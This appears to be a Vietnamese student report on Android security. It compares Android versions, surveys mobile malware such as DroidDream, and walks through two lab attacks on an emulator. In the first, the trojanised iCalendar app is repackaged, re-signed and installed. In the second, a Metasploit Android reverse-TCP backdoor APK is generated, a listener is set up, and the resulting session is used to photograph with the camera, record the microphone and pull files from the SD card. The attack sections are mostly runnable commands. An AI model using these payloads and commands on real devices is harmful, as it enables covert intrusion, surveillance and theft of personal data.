nhấn vào thông báo để mở ra ứng dụng tương ứng, về sau này các thông tin cập nhật được bổ sung theo tính năng, như có khả năng lập tức gọi ngược lại khi có cuộc gọi nhỡ mà không cần phải mở ứng dụng gọi điện ra. Thông báo sẽ luôn nằm đó cho đến khi người dùng đã đọc hoặc xóa nó đi. Android 2.3 Android 4x Giao diện đơn giản Giao diện tinh tế hơn, trong suốt và đẹp mắt hơn Chỉ hỗ trợ phím ảo là phím Home Hỗ trợ các phím ảo: Home, Back, Menu Không có widget menu Có Widget menu giúp tìm nhanh thông tin mà không cần mở ứng dụng
  • 16. 3. Sự khác nhau về tính năng. Android 2.3 Android 4x Thiết kế tối ưu hóa cho Smartphone Thiết kế tối ưu hóa cho Smartphone và Tablet Chỉ có thể xóa tất các các thông báo cùng lúc trên trình quản lý Chỉ có thể xóa riêng rẽ các thông báo cùng lúc trên trình quản lý Chỉ có thể trả lời, ngắt cuộc gọi khi màn hình bị khóa Có thể thực hiện thêm 1 số tính năng khi màn hình bị khoái ngoài trả lời , ngắt cuộc gọi như gửi tin nhắn Không có tính năng mở khóa màn hình nhận diện khuôn mặt Có tính năng mở khóa màn hình nhận diện khuôn mặt Không hỗ trợ chỉnh sửa hình ảnh Hỗ trợ chỉnh sửa hình ảnh , tự động nhận diện được tất cả các camera trên thiết bị 4. Sự khác nhau về giao thức mạng. Android 2.3 Android 4x Không hỗ trợ giao thức https Hỗ trợ giao thức https
  • 17. III. Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar) 1.Định nghĩa: Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar) Nghiên cứu các chương trình có mã độc trên Android và nghiên cứu cài đặt backdoor, trojan lên Android (iCalendar) 1.Định nghĩa: Mã độc là một đoạn code được đưa vào phần mềm nhằm thay đổi các thực thi của hệ điều hành hoặc các chương trình bảo vệ máy tính mà không cần sự cho phép của người sử dụng. Bằng cách này, phần mềm có chứa mã độc sẽ gây hại cho hệ điều hành cũng như các chương trình ứng dụng và người dùng thiết bị. 2.Mã độc trong môi trường Android: Android là một môi trường lý tưởng cho mã độc phát triển vì: Phần lớn các smartphone đều hỗ trợ các ứng dụng email, internet baking…Sử dụng các ứng dụng này đồng nghĩa với việc cung cấp thông tin cá nhân. Android hiện tại giữ vị trí số một trong các hệ điều hành dành cho smartphone và máy tính bảng. Android là một hệ điều hành mở. Mục tiêu của mã độc Android: Có nhiều cách phân loại mã độc trong android: Nghiên cứu của Troy Vennon dựa vào cách hoạt động lây nhiễm của mã độc đã chia ra làm bốn loại. Nghiên cứu của K.H.Khan & M.N.Tahir phân loai mã độc làm 6 nhóm. Trang web forenics chuyên nghiên cứu về mã độc dựa vào mục tiêu của mã độc để chia ra làm 9 họ:
  • 18. Đánh cấp thông tin cá nhân 51,3% Gửi tin nhắn trái phép (IMEL,..) 30,1% Botnet(spam, thư rác,..) 23,5% Truy cập Root 18,3% Tải từ Google-Play 11,3% Cài đặt các ứng dụng khác 10,4% Đánh cấp định vị của người dùng 8,7% Cài đặt các ứng dụng hỗ trợ hacker 7,8% Trojans (tiếp cận các dịch vụ ngân hàng trực tiếp) 3,5% 3.Tính bảo mật trong Android Các ứng dụng android được tách biệt với nhau trong quá trình thực thi. Các ứng dụng android được phân biệt bởi system ID. Các ứng dụng android phải được signing mới có thể cài đặt vào hệ thồng. Bảo mật trong android được thể hiện qua cơ chế “Permission” Cơ chế Permission: Bất cứ những tác vụ nào gây ảnh hưởng cho các ứng dụng khác, hệ điều hành và người sử dụng thiết bị đều đươc bảo vệ bởi cơ chế Permission, ví dụ như đọc gửi tin nhắn, truy cập mạng, thực hiện cuộc gọi, truy cập vào thông tin cá nhân,..Nói cách khác người lập trinh ứng dụng sẽ khai báo Permission cho những nguông tài nguyên này sẽ được thông báo đến người dùng trước khi cài đặt ứng dụng. Google Play: Kiểm soát các mã độc trên ứng dụng. 4.Thực trạng Một báo cáo mới vừa được công bố, cho thấy mức độ nghiêm trọng của mã độc trên Android - hệ điều hành di động phổ biến nhất thế giới có đến 99,9% số lượng mã độc mới được phát hiện trong quý I năm 2013 được thiết kế để nhắm đến nền
  • 19. tảng Android. Đây là một con số báo động về tình trạng mã độc trên nền tảng di động của Google vừa được hãng bảo mật Kaspersky Lab công bố. Phần lớn trong số các loại mã độc trên Android là virus trojan, một dạng virus chủ yếu để sử dụng để đánh cắp tiền của người dùng bị lây nhiễm bằng cách gửi đến họ những tin nhắn lừa đảo, đọc lén các thông tin cần thiết và gửi báo cáo đến nơi khác, ăn cắp thông tin như là mật khẩu và số thẻ tín dụng, cài đặt lén các phần mềm chưa được cho phép, ….. Loại mã độc này chiếm đến 63% tổng số các loại mã độc mới được phát tán trên Android trong quý I năm 2013. Các nhà nghiên cứu bảo mật của Kaspersky cũng báo cáo một sự bùng nồ về số lượng các mã độc hại trên di động. Theo đó chỉ tính riêng trong 3 tháng đầu năm 2013, Kaspersky đã phát hiện được số lượng mã độc mới trên các nền tảng di động bằng tổng số lượng mã độc được phát hiện trong cả năm 2012 mà Android là nền tảng chịu ảnh hưởng nặng nhất. Với việc Android tiếp tục trở thành “mồi ngon” của hacker trong việc phát tán các loại mã độc, có vẻ như Android đang dần trở thành một “Windows thứ 2” trên lĩnh vực bảo mật, khi sự phổ biến của nền tảng này đang thu hút tối đa sự chú ý của các tin tặc, đồng thời việc quản lý các ứng dụng cho Android một cách lỏng lẻo càng tạo điều kiện cho mã độc được phát tán dễ dàng hơn trên nền tảng di động này. Bên cạnh lĩnh vực mã độc trên nền tảng di động, báo cáo về tình trạng bảo mật trong quý 1/2013 của Kaspersky cũng cho biết 91% các vụ phát tán mã độc chủ yếu dựa vào việc phát tán các đường link trang web có chứa mã độc. Các đường link có chứa mã độc này chủ yếu được phát tán thông qua email và trên các mạng xã hội như Facebook, Twitter… Đây được xem là biện pháp được yêu thích nhất hiện nay của hacker. Con số cụ thể các loại mã độc (bao gồm cả trên nền tảng di động và các nền tảng khác) đã được Kaspersky phát hiện và vô hiệu hóa trong quý I năm 2013 là 1.345.570..352 mã độc (hơn 1 tỉ mã độc). Trong đó có hơn 60% các loại mã độc phát tán từ 3 quốc giá: Mĩ (25%), Nga (19%) và Hà Lan (14%). 5. Nghiên cứu lỗ hổng bảo mật trên Android. 5.1. Malware trên Android. Malware không chỉ mối lo ngại với người dùng máy tính mà bây giờ còn lấn sang cả
  • 20. hệ điều hành dành cho smartphone, đặc biệt là Android. Malware (phần mềm ác tính) viết tắt của cụm từ Malicious Sofware, là một phần mềm máy tính được thiết kế với mục đích thâm nhập hoặc gây hỏng hóc máy tính mà người sử dụng không hề hay biết. Người viết nên nó ban đầu chỉ tập trung vào máy tính, nhất là Windows khi nó chiếm đến 90% tổng số Malware xuất hiện trên các nền tảng, bên cạnh đó là các OS khác như Linux, Chrome OS, MacOs... nhưng không đáng kể. Tuy nhiên giờ đây khi Smartphone đang ngày càng phát triển và phổ biến dần thay thế máy tính từ các công việc soạn thảo văn bản, giải trí đến giao dịch ngân hàng thì nó trở thành mục tiêu tấn công của Malware. Theo thống kê của các hãng bảo mật trên thế giới thì hiện các Malware hiện nay mới chỉ dừng lại ở mức độ xâm nhập và ăn cắp thông tin của người dùng và nó chưa có cơ chế lây lan. Theo các kết quả trên thì Malware trên Smartphone hiện nay về cách thức hoạt động giống như một phần mềm gián điệp (Trojan), phần lớn nhắm vào dịch vụ Mobile Banking trên Smartphone để lấy cắp thông tin, các thao tác xác nhận... thông qua việc sử dụng SMS Spy, tức là theo dõi tin nhắn SMS khi bạn thực hiện giao dịch với ngân hàng. Bên cạnh đó là nhằm vào các cuộc gọi thực hiện trên máy bạn, tắt một số dịch vụ để dễ kiểm soát. 5.2 Cơ chế hoạt động của Malware. Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn: - Giai đoạn đầu: DroidDream được nhúng vào trong một ứng dụng (số lượng ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên. - Giai đoạn 2 : Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
  • 21. Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình. 5.3.Mục đích của Malware DroidDream DroidDream được coi là một trong những Malware đầu tiên trên Android, mục đích của con DroidDream này mới chỉ dừng lại ở mức độ làm cho chiếc điện thoại của người dùng tự động cài đặt những ứng dụng chứa mã độc khác. Tuy nhiên các biến thể của nó đã kịp thời biến đổi để gây ra các mối nguy hại lớn hơn rất nhiều. Ví dụ như Hippo SMS được tìm thấy mới đây có khả năng tự gửi tin nhắn mà không cần sự cho phép của người dùng, việc này sẽ khiến tiền cước phí của người dùng tăng lên một cách chóng mặt mà người dùng không biết rõ lí do tại sao. Hoặc một Malware khác là Zitmo, Malware này đưa ra các ứng dụng kích hoạt mọi hành động liên quan đến dịch vụ ngân hàng, tiếp nhận SMS gửi đến và chuyển tới máy chủ. Các đoạn code dùng 1 lần mà các ngân hàng thường gửi tới khách hàng thông qua tin nhắn SMS để chứng thực sẽ bị thu thập bởi các malware này. Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này. 6. Cài đặt trojan trên Android (iCalendar) Các công cụ cần thiết: apktool: giải mã các file .apk và .rar, đóng gói apk phục vụ cho việc tùy chỉnh sửa đổi các file đó. https://code.google.com/p/android-apktool/ dex2jar: dịch file .apk thành file .jar. https://code.google.com/p/dex2jar/
  • 22. id-gui: đọc code java từ file .jar. https://code.google.com/p/innlab/downloads/detail?name=jd-gui- 0.3.3.windows.zip&can=2&q=2 File iCalendar.apk, một trong 11 ứng dụng bị gỡ bỏ khỏi Android Market do có chứa malware. Các bước thực hiện: 1. Dùng phần mềm WinZip giải nén file classes.dex trong iCalendar.apk vào folder chứa công cụ dex2jar. 2. Vào command windows, vào trong thư mục dex2jar để thực hiện câu lệnh sau: dex2jar classes.dex Câu lệnh này chuyển đổi file classes.dex thành file classes_dex2jar.jar.
  • 23. 3. Dùng công cụ id-gui để mở file classes_dex2jar.jar có được ở bước 2 để xem source code của ứng dụng iCalendar. 4. Vào command windows, vào trong thư mục chứa apktool (phải chứa sẵn iCalendar.apk) và nhập 2 lệnh sau: apktool if iCalendar.apk apktool d iCalendar.apk Ta được kết quả:
  • 24. Truy cập vào thư mục iCalendar và di chuyển đến thư mục smalicommjiCalendar 5. Mở file iCalendar.smali và file SmsReceiver.smali bằng Notepad và thực hiện như hình bên dưới sau đó lưu lại.
  • 25. 6. Vào command windows thực hiện câu lệnh sau để đóng gói ứng dụng iCalendar đã được chỉnh sửa thành file .apk mới tại thư mục iCalendardist apktool b iCalendar
  • 26. 7. Đưa file iCalendar.apk đã tạo ở bước 6 vào thư mục bin nằm trong thư mục Java Trên command windows vào thư mục trên và nhập các lệnh sau để verify (Signing ứng dụng, tạo chữ ký điện tử để thiết bị) gói apk để có thể sử dụng trên thiết bị (phải chọn run as administrator khi chạy cmd):: keytool -genkey -v -keystore iCalendar-iCalendar.keystore -alias iCalendar -keyalg RSA -keysize 2048 -validity 10000
  • 27. jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore iCalendar-iCalendar.keystore iCalendar.apk iCalendar jarsigner -verify -verbose -certs iCalendar.apk Kết quả: Ta đã verify thành công file apk. 8. Copy file iCalendar.apk vào thư mục platform-tools của Android SDK và dùng lệnh sau để cài ứng dụng vào giả lập adb -s emulator-5554 install iCalendar.apk
  • 28. Vậy ta đã cài đặt thành công lên máy ảo. 9. Kích hoạt Trojan gửi tin nhắn đến máy ảo 5556 (mở ứng dụng iCalendar rồi click 7 lần). Kết quả
  • 29. IV.Nghiên cứu Kali Linux, các cơ chế tạo mã độ trên Kali Linux để xâm nhập thẻ sd card, camera, ghi âm trên android Truyền dữ liệu trên thẻ sd card, kích hoạt camera, ghi âm trên android I. Kali-Linux Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Tiền thân của Kali Linux là BackTrack, xuất hiện năm 2006 và được các chuyên gia đánh giá bảo mật ưa chuộng sử dụng. Sau 7 năm liên tục phát triển, tháng 3 năm 2013, hãng Offensive Security đã công bố phiên bản mới của BackTrack có thên là Kali Linux (được xem như phiên bản BackTrack 6). Kali Linux tập hợp và phân loại gần như tất cả các công cụ thiết yếu mà bất kì chuyên gia đánh giá bảo mật nào cũng cần sử dụng khi tác nghiệp. Nói về ưu điểm của Kali là nói về những thay đổi giữa BackTrack và Kali. So với BackTrack, Kali có rất nhiều cải tiến: Kali phát triển trên nền tảng hệ điều hành Debian Điều này có nghĩa Kali có rất nhiều ưu điểm. Đầu tiên là các Repository (Kho lưu trữ phần mềm) được đồng bộ hóa với các Repository của Debian nên có thể dễ dàng có được các bản cập nhật vá lỗi bảo mật mới nhất và các cập nhật Repository. Duy trì cập nhật (up-to-date) đối với các công cụ Penetration Test là một yêu cầu vô cùng quan trọng. Một lợi thế khác là mọi công cụ trong Kali đều tuân theo chính sách quản lý gói của Debian. Điều này có vẻ không quan trọng nhưng nó đảm bảo rõ ràng về mặt cấu trúc hệ thống tổng thể, nó cũng giúp cho chúng ta có thể dễ dàng hơn trong việc xem xét hoặc thay đổi mã nguồn của các công cụ. Tính tương thích kiến trúc
  • 30. Một ưu điểm quan trọng trong Kali là nó đã cải tiến khả năng tương thích với kiến trúc ARM. Từ khi Kali xuất hiện, nhiều phiên bản ấn tượng đã được tạo ra. Giờ đây ta có thể build Kali trên một Raspberry Pi hoặc trên Samsung Galaxy Note. Hỗ trợ mạng không dây tốt hơn Một trong những vấn đề được các nhà phát triển Kali chú trọng nhiều nhất, chính là sự hỗ trợ cho một số lượng lớn phần cứng bên trong các thiết bị mạng không dây hay USB Dongles. Một yêu cầu quan trọng khi các chuyên gia bảo mật thực hiện đánh giá mạng không dây. Khả năng tùy biến cao Kali rất linh hoạt khi đề cập đến giao diện hoặc khả năng tuỳ biến hệ thống. Đối với giao diện, giờ đây người dùng đã có thể chọn cho mình nhiều loại Desktops như GNOME, KDE hoặc XFCE tùy theo sở thích và thói quen sử dụng. Dễ dàng nâng cấp giữa các phiên bản Kali trong tương lai Đối với bất cứ ai sử dụng Kali, đây là một tính năng quan trọng khi bảo trì hệ điều hành Kali. Với BackTrack, bất kỳ lúc nào khi phiên bản mới được công bố thì chúng ta đều phải cài lại mới hoàn toàn (Ngoại trừ phiên bản R2 lên R3). Giờ đây với Kali, nhờ vào sự chuyển đổi sang nền tảng hệ điều hành Debian, Kali đã dễ dàng hơn trong việc âng cấp hệ thống khi phiên bản mới xuất hiện, người dùng không phải cài lại mới hoàn toàn nữa II. Cài đặt Kali Linux trên máy ảo VMware Trước tiên cần tải về file ISO phiên bản mới nhất của Kali Linux trên link dưới, bài này ta sẽ tiến hành cài phiên bản Kali Linux 1.0.6 64 bit. http://www.kali.org/downloads/
  • 31. Tất nhiên ta cần phải có Vmware, việc tải và cài đặt Vmware rất dễ dàng, ta có thể tìm trên mạng. Sau khi có file ISO ta bắt đầu tiến hành cài đặt lên máy ảo. Mở VMware, chọn File ở góc phải trên màn hình, chọn New Virtual Machine... . Trên cửa sổ mới mở, chọn custom và nhấn next Tiếp tục nhấn next đến khi yêu cầu chọn file ISO thì ta chọn ISO của kali đã tải trước đó:
  • 32. Đặt tên và đặt đường dẫn cho máy ảo Tiếp tục chọn cấu hình cho máy ảo, ta có thể để mặc định. Máy ảo sẽ khởi động và vào giao diện cài đặt, chọn Graphic Install
  • 33. Bấm chọn ngôn ngữ, địa điểm, Host name như khi cài đặt hệ điều hành bình thường... Tiếp theo chọn Root password, luôn nhớ Root password đã chọn! Phần Partition chọn Guided – use entire disk và All files in one partition
  • 34. Chọn Finish partitioning and write changes to disk
  • 35. Chọn Yes Nhấn continue để bắt đầu cài đặt khoảng 15 phút.
  • 36. Sau khi cài đặt xong, chọn No ở Network mirror, chọn Yes ở phần Boot-loader.
  • 37. Sau khi hoàn tất phần cuối và khởi động lại, đến giao diện login ta nhập user là root và password đã đặt ở phần trước. Vậy là ta đã hoàn tất cài đặt kali linux trên Vmware
  • 38. III. Tạo mã độc trên Kali Linux để xâm nhập Android Ta sử dụng Metasploit framework trên Kali Linux để tạo một payload, khi máy android tải về và mở payload lên thì sẽ bị xâm nhập và điều khiển. Nếu sử dụng máy ảo Kali Linux bằng Vmware, ta nên thiết lập phần Network như sau: Bấm vào VM -> Settings... ở thanh lựa chọn của Vmware Bấm vào Network Adapter và chọn Bridged: connection directly to the physical network
  • 39. Bấm vào Edit -> Virtual Network Editor... Trên phần Bridge (connect VMs directly to the external network) chọn adapter của máy thật
  • 40. Sau đây ta vào phần chính tạo backdoor và xâm nhập điều khiển android Đầu tiên mở terminal và gõ dòng lệnh Msfpayload android/meterpreter/reverse_tcp lhost=192.168.0.104 lport=8080 R > /root/Desktop/files.apk 192.168.0.104 là địa chỉ IP của máy Kali, ta có thể sử dụng lệnh ifconfig để xem IP của máy Kali
  • 41. 8080 là số port. Lệnh trên sẽ tạo ra 1 file files.apk trên desktop của Kali, đây chính là một Metasploit reverse tcp backdoor. Tiếp theo, gõ lệnh msfconsole
  • 42. Sau khi msfconsile load xong, ta tạo một handler để xử lí dữ liệu truyền về bằng cách gõ lệnh sau: use exploit/multi/handler set payload /meterpreter/reverse_tcp set lhost 192.168.0.104 – nhập địa chỉ IP giống với khi tạo payload ở trên. set port 8080 – nhập port giống với port khi tạo payload ở trên. Exploit Màn hình sẽ như sau, lúc này ta đang chờ một máy android mở backdoor.
  • 43. Thử với một máy Galaxy nexus giả lập, tải về files.apk, cài đặt và mở lên được giao diện như dưới, nhấp vào nút reverse_tcp:
  • 44. Vậy là ta đã kết nối thành công tới máy Android này, ở msfconsole sẽ như sau: Để xem thông tin về máy, nhập lệnh SysInfo Sử dụng camera: Để xem danh sách camera, nhập webcam_list
  • 45. Để chụp hình bằng camera, nhập webcam_snap x với x là id của camera xem ở danh sách camera ở phần trước. Ví dụ như sau: File hình đã chụp từ camera của máy android là FrumITki.jpeg được lưu ở /root của máy Ghi âm
  • 46. Để thực hiện ghi âm, nhập lênh record_mic và file ghi âm sẽ được lưu về máy Lấy file từ sd card Để vào sdcard, nhập lệnh : cd /sdcard và lệnh ls để xem danh sách file, thư mục Ví dụ ở đây, ta tải file App.apk trong thư mục download của sdcard
  • 47. Dùng lệnh cd /sdcard/Download để vào thư mục
  • 48. Như trên hình, ta thấy 1 file là App.apk, để tải về máy, ta nhập lệnh Download App.apk Và file này sẽ được tải về thư mục root của máy Kali
  • 49. Ngoài ra, để xem danh sách các lệnh, gõ help. Kết luận Như vậy, ta đã tìm hiểu về Kali Linux, các cải tiến của nó so với BackTrack. Cách sử dụng Metasploit của Kali Linux để xâm nhập và điều khiển, truyền dữ liệu từ máy android về máy. Sau khi thử nghiệm cách tấn công này, ta rút ra không nên tải về và chạy file lạ trên máy android để bảo đảm không cài nhầm backdoor như đã thấy ở trên, chỉ cần máy bị nhiễm backdoor là ta đã có thể xem như có toàn quyền kiểm soát máy android đó.